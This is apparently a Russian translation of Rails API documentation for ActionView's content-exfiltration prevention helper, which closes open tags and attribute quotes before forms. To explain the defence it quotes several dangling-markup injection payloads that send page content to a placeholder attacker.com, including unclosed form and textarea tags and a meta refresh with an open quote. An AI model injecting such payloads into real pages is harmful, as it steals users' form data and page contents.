модуль ActionView::Helpers::ContentExfiltrationPreventionHelper
Константы
- CLOSE_CDATA_COMMENT
-
Закрыть все открытые теги, поддерживающие CDATA (textarea, xmp), перед каждой формой. Это предотвращает атакующим от внедрения незакрытых тегов, которые могли бы захватить содержимое формы.
Например, атакующий может внедрить:
<form action="https://attacker.com"><textarea>
HTML, следующий за этим тегом, до следующего
</textarea>или до конца документа, будет захвачен<textarea>злоумышленника. Закрывая все открытые теги textarea, мы гарантируем, что содержимое формы никогда не будет выведено. - CLOSE_FORM_TAG
-
Закрыть все открытые теги формы перед каждой новой формой. Это предотвращает атакующим от внедрения незакрытых форм, которые могли бы слить разметку на сторонние ресурсы.
Например, атакующий может внедрить:
<form action="https://attacker.com">
Элементы формы, следующие за этим тегом, до следующего
</form>будут захвачены<form>злоумышленника. Закрывая все открытые теги формы, мы гарантируем, что содержимое форм никогда не будет выведено. - CLOSE_OPTION_TAG
-
Закрыть все открытые теги option перед каждой формой. Это предотвращает атакующим от внедрения незакрытых тегов option, которые могли бы слить разметку на сторонние ресурсы.
Например, атакующий может внедрить:
<form action="https://attacker.com"><option>
HTML, следующий за этим тегом, до следующего
</option>или до конца документа, будет захвачен<option>злоумышленника. Закрывая все открытые теги option, мы гарантируем, что содержимое форм никогда не будет выведено. - CLOSE_QUOTES_COMMENT
-
Закрыть все открытые атрибуты перед каждой формой. Это предотвращает атакующим от внедрения частичных тегов, которые могли бы слить разметку на сторонние ресурсы.
Например, атакующий может внедрить:
<meta http-equiv="refresh" content='0;URL=https://attacker.com?
HTML, следующий за этим тегом, до следующей одинарной кавычки, будет отправлен
https://attacker.com. Закрывая все открытые атрибуты, мы гарантируем, что содержимое формы никогда не будет выведено таким образом. - CONTENT_EXFILTRATION_PREVENTION_MARKUP
Открытые методы экземпляров
# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
def prevent_content_exfiltration(html)
if prepend_content_exfiltration_prevention
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
else
html
end
end
© 2004–2021 David Heinemeier Hansson
Licensed under the MIT License.